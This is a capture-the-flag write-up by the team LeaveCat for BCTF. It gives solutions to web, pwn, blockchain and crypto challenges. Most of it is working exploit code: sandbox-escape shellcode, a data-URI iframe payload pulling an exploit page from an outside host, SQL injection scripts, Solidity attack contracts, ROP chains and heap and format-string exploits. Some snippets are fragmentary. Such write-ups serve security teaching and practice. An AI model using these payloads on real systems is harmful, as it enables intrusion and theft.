

BCTF Write-Up

LeaveCat



SCOREBOARD FOR ALL TEAMS																									
Rank	Team Name	Solved	Score	Web					Reverse					Pwn					Blockchain		Misc			Crypto	
				Score : 22605.0					Score : 13505.0					Score : 49236.0					Score : 18040.0		Score : 28305.0			Score : 23226.0	
				SE.	SE.	ba.	ch.	Si.	ba.	ma.	ea.	ea.	SOS	th.	ho.	ha.	ea.	ea.	Fa.	EO.	FS.	ea.	IR.	gu.	gu.
3	LeaveCat	11	5838																						
1	e8apig	20	13217	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1
2	NoLL	17	10444	2	3	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1	1
3	LeaveCat	11	5838																						
4	*****	11	5492																						
5	L	10	5305	2																					
6	AcidBox	10	5033																						

Table

1. easysandbox
2. IRC checkin
3. Simple VN
4. babySQLiSPA
5. Fake3D
6. EOSGame
7. guess_polynomial
8. SOS
9. houseofAtum
10. hardcore_fmt
11. easist

easysandbox

the attachment include sandbox library(scf.so) and server script.

server script execute elf that is received by user.

the sandbox library that only allow users to specific syscall(write, read, exit, exit_groups) is loaded to user elf. but it just hook __libc_start_main, So if we make elf binary that don't call __libc_start_main, the sandbox is executed.

```
int __cdecl __libc_start_main(int (__cdecl *main)(int, char **, char **), i
[
    void (*v8)(void); // [rsp+0h] [rbp-40h]
    void (*v9)(void); // [rsp+8h] [rbp-38h]
    void (*v10)(void); // [rsp+10h] [rbp-30h]
    char **v11; // [rsp+18h] [rbp-28h]
    void *handle; // [rsp+30h] [rbp-10h]
    __int64 (__fastcall *v13)(int (__cdecl *)(int, char **, char **), _QWORD
    __int64 v14; // [rsp+58h] [rbp+18h]

    v11 = ubp_av;
    v10 = init;
    v9 = fini;
    v8 = rtld_fini;
    puts("hook __libc_start_main success!");
    handle = dlopen("libc.so.6", 1);
    if ( !handle )
        exit(1);
    v13 = (__int64 (__fastcall *) (int (__cdecl *) (int, char **, char **), _Q
    if ( !v13 )
        exit(2);
    if ( (unsigned int)install_syscall_filter() )
        exit(3);
    return v13(main, (unsigned int)argc, v11, v10, v9, v8, stack_end, v14);
,
```

shellcode

```
section .text
global _start
_start:
    push rax
    xor rdx, rdx
    xor rsi, rsi
    mov rbx, '/bin//sh'
    push rbx
    push rsp
    pop rdi
    mov al, 59
    syscall
```

IRC checkin

go to irc

Simple VN

bypass host filter with **data** scheme → data:text/html;base64,WHATEVERYOUWANT

```
>>> "<iframe style='width:100%; height:100%;'  
src='http://x.imjuno.com/exploit.html'></iframe>".encode('base64').replace('\n','')  
'PGImcmFtZSBzdHlsZT0nd2lkdGg6MTAwJTsgaGVpZ2h0OjEwMCU7JyBzcmM9J2h0dHA6Ly94L  
mltanVuby5jb20vZXhwbG9pdC5odG1sJz48L2lmcmFtZT4='  
>>>
```

```
data:text/html;base64,PGImcmFtZSBzdHlsZT0nd2lkdGg6MTAwJTsgaGVpZ2h0OjEwMCU7JyBzcm  
mM9J2h0dHA6Ly94LmltanVuby5jb20vZXhwbG9pdC5odG1sJz48L2lmcmFtZT4=
```

exploit.html

```
<style>  
#iframe1 {  
width: 100%%;  
height: 8000px;  
position: absolute;  
margin-top: -2000px;  
  
}  
</style>  
<iframe id='iframe1'  
src='http://localhost:23333/5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt'></iframe>
```



```

def __init__(self, username, password):
    self.s = Session()

    u_data = {'username': username, 'password': password}

    self.s.post(self.REGISTER_URL, headers=self.HEADERS, data=u_data)
    c = self.s.post(self.LOGIN_URL, headers=self.HEADERS, data=u_data)

    if c.text != '{"msg": "login success"}':
        raise IndexError

def set_captcha(self):
    c = self.s.get(self.GET_CAPTCHA_URL)
    self.captcha = c.text.split("captcha:")[1].split(" ")[0].strip()

def go_sqli(self, code, query):
    data = {'captcha': str(code), 'hint': query}
    c = self.s.post(self.HINT_URL, headers=self.HEADERS, data=data)
    return c.text

def set_captcha(d):
    user = d['user']
    i = 0
    user.set_captcha()

    while True:
        if hashlib.md5(str(i)).hexdigest()[0:6] == user.captcha:
            d['code'] = i
            return i
        i += 1

WORKER = 20
USERNAME_PREFIX = 'junoXXXXXXMM'
PASSWORD = 'dlawnsdh1234'

with multiprocessing.Manager() as manager:
    user_list = []

    for i in xrange(WORKER):
        d = manager.dict()
        d['user'] = User('{}{}'.format(USERNAME_PREFIX, i), PASSWORD)
        user_list.append(d)

    mul_list = []

    for i in xrange(len(user_list)):
        mul_list.append(multiprocessing.Process(target=set_captcha, args=(user_list[i],)))
        mul_list[i].start()

    while True:
        for i in xrange(len(mul_list)):
            if not mul_list[i].is_alive():
                result = user_list[i]['user'].go_sqli(user_list[i]['code'], raw_input(">")) # I don't know why.
                print 'result:', result

```

```
print '-----'
user_list[i]['user'] = User('{}{}'.format(USERNAME_PREFIX, i), PASSWORD)
mul_list[i] = multiprocessing.Process(target=set_captcha, args=(user_list[i],))
mul_list[i].start()
```

final payload:

```
'or(select(GTID_SUBTRACT((select(ZSLRSrOIcCysnaHUqCEIjhtWbxbMIDkUO)from(vhEFfFILlLaAAaagglillsSSHeReEE)),true)))#
```

BCTF{060950FB-839E-4B57-B91D-51E78F56856F}

Fake3D

Attack.sol

[illegible]

```

        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a).airDrop();
        } else {
            // revert();
        }
    }
}

```

EOSGame

Attack.sol

```

contract Attack {

    address targetContract = 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F;
    int betCount = 0;

    function init() public {
        EOSGame(targetContract).initFund();
        betCount = 1;
    }

    function exploit() public returns (int) {

        if (isWin()) {
            EOSGame(targetContract).bigBlind();
            betCount += 1;
            return 1;
        } else {
            revert();
            return 0;
        }
    }

    function getFlag() public {
        EOSGame(targetContract).CaptureTheFlag("anVub3JvdXNIQGdtYWIsLmNvbQ==");
    }

    function getBetCount() public view returns (int) {
        return betCount;
    }
}

```

```

    }

    function isWin() returns (bool) {
        uint256 seed =
uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
        uint256 shark = seed_hash % 20; // 20
        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(betCount)));
        uint256 lucky = lucky_hash % 20; // 20

        return shark==lucky;
    }

    function viewIsWin(uint256 fuckCount) public view returns (bool) {
        uint256 seed =
uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
        uint256 shark = seed_hash % 20; // 20
        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(fuckCount)));
        uint256 lucky = lucky_hash % 20; // 20

        return shark==lucky;
    }

    function justSend() public {
        EOSGame(targetContract).bigBlind();
    }

    function calc() public view returns (int){
        for (var i=0; i<256;i++) {
            if (viewIsWin(i)) {
                EOSGame(targetContract).bigBlind();
            } else {
                EOSGame(targetContract).smallBlind();
            }
        }
        return -1;
    }

    function goCalc() public returns (uint256){
        uint256 x = (EOSGame(targetContract).bet_count(msg.sender));
        for (uint256 i=x; i<x+10;i++) {
            if (viewIsWin(i+1)) {
                EOSGame(targetContract).bigBlind();
                return i;
            } else {
                EOSGame(targetContract).smallBlind();
            }
        }
        return i;
    }
}

```


guess_polynomial

give a big prime and just do modular operation

```
from pwn import *
from gmpy2 import *

r = remote("39.96.8.114", 9999)

p = next_prime(1<<200)

for i in range(10):
    print r.recvuntil("coeff: ")
    r.sendline(str(p))
    print r.recvuntil("sum: ")
    s = int(r.recvuntil("!")[:-1])
    print r.recvuntil("coeff!")

    coeff = []
    while True:
        val = s % p
        coeff.append(val)
        if( s < p ):
            break
        s = (s - val) / p

    coeff = coeff[::-1]
    st = ""
    for i in coeff:
        st += str(i) + " "

    r.sendline(st[:-1])

r.interactive()
```

SOS

An overflow vulnerability exists because the read is infinitely repeated and the pointer is interrupted to receive input.

I refer to the end of the stack to stop infinite repetition and solve it by ROP.

```
from pwn import *

#p = process('./SOS')
p = remote('39.96.8.50',9999)

#gdb.attach(p,'b*0x400ac3')
raw_input('$ ')
print p.recv()
p.sendline('15')
print p.recv()
```

```

payload = 'A'*56+p64(0x400c53)+p64(0x602020)+p64(0x4008e0)+p64(0x400c53)+p64(0)
payload += p64(0x400c51) + p64(0x602098)+p64(0x602098) + p64(0x400900)
payload += p64(0x400afc)
#payload += p64(0x400c53) + p64(0)+p64(0x400c51) + p64(0x602038)+p64(0x602038)
+p64(0x400900)
#payload += p64(0x400c53) + p64(0x602098) + p64(0x602038)
payload += 'A' * (0x1000-len(payload))
print hex(len(payload))
p.sendline(payload+'/bin/sh\x00'*1021)
sleep(1)
#p.sendline('B'*0x1fe8)
p.recv(1)
puts = u64(p.recv(6)+'\x00\x00')
libc_base = puts - 0x809c0
system = libc_base + 0x4f440
print hex(puts)
print hex(libc_base)
print hex(system)
sleep(1)
payload = ""
for i in range(0x15):
    payload += p64(0x400afb)
for i in range(0x40):
    payload += p64(0x400c53)+p64(0x602098)+p64(system)
payload += 'A'*0x2800

print p.recv()
p.interactive()

p.sendline(payload)

p.interactive()

```

houseofAtum

Since I could switch back and forth between tcache and main_arena and change two chunks to one address I wanted, I could chop up the fake chunk, rick it and cover the free_hook.

```

from pwn import *

p = process('./houseofAtum')
#p = remote('60.205.224.216', 9999)

def alloc(data):
    p.sendlineafter(':', '1')
    p.sendafter(':', data)

def edit(idx, data):
    p.sendlineafter(':', '2')
    p.sendlineafter(':', str(idx))
    p.sendafter(':', data)

```

```

def delete(idx,clear):
    p.sendlineafter(':', '3')
    p.sendlineafter(':', str(idx))
    p.sendlineafter(':', clear)

def view(idx):
    p.sendlineafter(':', '4')
    p.sendlineafter(':', str(idx))

alloc('AAAA')
alloc('B'*0x8+p64(0x41))

delete(1,'y')
delete(0,'y')
alloc("\x50")
view(0)
p.recvuntil('Content:')
heap = u64(p.recv(6)+'\x00\x00')
print hex(heap)
alloc('BBBB') # recovery chunk ~~
delete(1,'y')
delete(0,'n')
delete(0,'y')
alloc('AAAA00')
alloc('AAAA11') # 0 == 1
for i in range(5):
    delete(1,'n')
delete(1,'y')
delete(0,'y') #tcache[0] = 0 main_arena[] = 1
alloc(p64(heap+0x10))
alloc('a') #main_arena uaf -> tcache[] = heap+0x10
delete(0,'y')
alloc('a') #0 IDX chunk -> main_arena -> tcache(heap+0x10) uaf
delete(1,'y')
alloc(p64(0)+p64(0x91))
for i in range(7):
    delete(0,'n')
delete(0,'y') #n
view(1)
p.recvuntil('Content:')
main_arena = u64(p.recv(6)+'\x00\x00') - 96
print hex(main_arena)
delete(1,'y') #n
alloc('aaaa')
alloc('bbbb')
delete(1,'y')
delete(0,'y')
alloc(p64(main_arena-0x33))
alloc('a')
delete(0,'y')
alloc('A'*0x13+p64(main_arena-0x3ebc40+0x10a38c))
delete(1,'y')
alloc('!s\n')
'''
edit(1,p64(main_arena-0x10-0x23)+p64(0x51)+p64(main_arena-0x10-0x23))

```

```
delete(1,'n')
delete(0,'y')
edit(1,p64(main_arena-0x10-0x23)+p64(0x51)+p64(main_arena-0x10-0x23))
delete(1,'y')
'''
p.interactive()
```

hardcore_fmt

use "%a" to leak ld.so address and get canary by leak, get libc address by "fixed" offset.

```
from pwn import *

r = remote("39.106.110.69", 9999)

print r.recvuntil("fmt")
r.sendline("%a%a%a%a%a%a")
r.recvuntil("7f")
r.recvuntil("0x0.0")
rv = r.recvuntil("p")[:-1]
tls = int(rv + "28", 16)
r.recv(1024)
print "tls: " + hex(tls)

r.sendline(str(tls+1))
r.recvuntil(": ")
canary = r.recv(7)
canary = u64("\x00" + canary)

print "canary: " + hex(canary)

libc = tls - 0x600528 - 0x17000

payload = "A"*0x108
payload += p64(canary)
#payload += "A"*0x30
payload += p64(libc+0x10a38c)*8
payload += "\x00"*100
(libc+0x4f440)

r.sendline(payload)
r.interactive()
```

easist

use fastbin-dup attack on GOT, overwrite stdout pointer and turn pc to system("/bin/sh")

```
from pwn import *

#r = process("./easiest")
r = remote("39.96.9.148", 9999)

#gdb.attach(r, "c\n")
def add(idx, dtlen, dt):
    r.sendline("1")
    print r.recvuntil(":")
    r.sendline(str(idx))
    print r.recvuntil("Length:")
    r.sendline(str(dtlen))
    print r.recvuntil("C:")
    r.sendline(dt)
    print r.recvuntil("delete")

def delete(idx):
    r.sendline("2")
    print r.recvuntil(":")
    r.sendline(str(idx))
    print r.recvuntil("delete")

add(6, 0x50, "A"*0x38+p64(0x400946))
# 0x400963
add(11, 0x38, "A"*20)
add(10, 0x30, "A"*20)
delete(11)
delete(10)
delete(11)
add(9, 0x30, p64(0x60207a))
add(8, 0x30, p64(0x60207a))
add(7, 0x30, p64(0x60207a))
add(5, 0x30, "A"*6+"B"*0x10+p64(0x602018)+p64(0x6020c0)[-1])
#0x6020a8
#r.sendline(p64(0x414141414141)[-1])
r.interactive()
```